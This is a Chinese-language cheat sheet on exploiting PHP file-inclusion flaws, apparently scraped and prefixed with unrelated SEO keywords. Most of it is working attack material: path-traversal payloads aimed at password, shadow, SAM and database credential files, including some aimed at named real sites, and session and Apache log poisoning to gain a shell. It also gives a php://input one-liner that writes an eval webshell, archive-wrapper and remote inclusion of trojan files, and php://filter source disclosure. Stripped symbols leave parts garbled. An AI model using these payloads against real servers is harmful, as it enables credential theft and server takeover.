网站制作过程内容,网站优化试卷,dw做网站环境配置,陕西省外省入陕建筑信息平台开发人员一般会把重复使用的函数写到单个文件中#xff0c;需要使用某个函数时直接调用此文件#xff0c;而无需再次编写#xff0c;这中文件调用的过程一般被称为文件包含。 allow_url_fopen On#xff08;是否允许打开远程文件#xff09;
allow_url_include On…
开发人员一般会把重复使用的函数写到单个文件中需要使用某个函数时直接调用此文件而无需再次编写这中文件调用的过程一般被称为文件包含。 allow_url_fopen On是否允许打开远程文件
allow_url_include On默认关闭是否允许include/require远程文件该选项为on便是允许 包含URL 对象文件等。 PHP版本5.2 可以使用%00进行截断。能截断的php版本都小于5.3
漏洞挖掘payload
Linux
../../../../../../../../etc/passwd // 账户信息
etc/passwd%00
....//....//etc/passwd
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件
/etc/issue
/etc/group
/etc/hosts
/etc/motd
/etc/mysql/my.cnf
/proc/self/environ
/proc/version
/proc/cmdline Windows
c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息 乌云payload
../../../../../../../../../../etc/passwd
../../../../../../../../../../home/img/odp/log/access_log
./../../../../../../../../etc/passwd%00
../../ierp/bin/prop.xml
http://red.xunlei.com/index.php?id../test.php%00rsite/news
pagenameznjlurl/WEB-INF/web.xmlerrpage/WEB-INF/web.xml
http://**.**.**.**//index.php?indexaskindataoptimize_html/../../../favicon.ico
..%2FWEB-INF%2Fweb.xml
../WEB-INF/mvc-servlet.xml
本地包含
包含同目录下的文件
?filetest.txt
目录遍历
?file./../../test.txt
包含图片马
先上传jpg图片木马然后本地文件包含如以下案例 Session文件包含
前提
1.seesion存储的位置
2.sesion内容可控 Phpinfo中的session.save_path保存的是Session的存储位置。通过phpinfo的信息获取session.save_path为/var/lib/php。 假设漏洞代码如下所示
?php session_start(); $ctfs $_GET[ctfs]; $_SESSION[username]$ctfs;
?
可以利用GET型ctfs参数将而已代码写入Session文件中然后再利用文件包含漏洞包含此Session文件,向系统中传入恶意代http://127.0.0.1/test.php?ctfs?php phpinfo(); ? 将php语句写入session中
http://127.0.0.1/test.php?filenameC:\phpStudy\PHPTutorial\tmp\tmp\sess_c3b4faa1f3b28c602c862bdf366fd92c 包含session文件session文件名(真正的文件名默认都有个前缀就是sess_) 本地包含配合apache日志拿shell
apache日志分为access.log与error.log当我们请求一个url地址时便会记录在access.log中但如果访问一个不存在的页面便会将这个页面写入access.log中。如访问URL:http://www.xxx.com/?php eval([$_POST]);?则会将一句话写入到access.log中但是一般来说写入到access.log文件中的一句话是被编码的所以需要抓包绕过而且利用此漏洞需要知道access.log的地址不然便没有。
利用/proc/self/environ进行包含 php://input写入木马
前提php配置文件中需同时开启 allow_url_fopen 和 allow_url_includePHP 5.3.0 ?PHP fputs(fopen(shell.php,w),?php eval($_POST[cmd])?);? zip://, bzip2://, zlib://
协议在双off的情况下也可以正常使用
allow_url_fopen off/on
allow_url_includeoff/on
思路也是上传之后包含文件
先将要执行的PHP代码写好文件名为phpcode.txt将phpcode.txt进行zip压缩,压缩文件名为file.zip,如果可以上传zip文件便直接上传若不能便将file.zip重命名为file.jpg后在上传其他几种压缩格式也可以这样操作。
bzip2://协议
使用方法
compress.bzip2://file.bz2
测试现象
http://127.0.0.1/cmd.php?filecompress.bzip2://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?filecompress.bzip2://./file.jpg
zlib://协议
使用方法
compress.zlib://file.gz 测试现象
http://127.0.0.1/cmd.php?filecompress.zlib://D:/soft/phpStudy/WWW/file.jpg
or
http://127.0.0.1/cmd.php?filecompress.zlib://./file.jpg
远程文件包含
远程文件包含的时候一句话木马后缀不能为php。
需要开启allow_url_include On
http://127.0.0.1/test.php?filenamehttp://公网IP/muma.txt
伪协议
Ctf常用
?actionphp://filter/readconvert.base64-encode/resourcelogin.php (Base64加密)
好文章
https://mp.weixin.qq.com/s/IT6bbaG7zBbnrvcNPYr1_w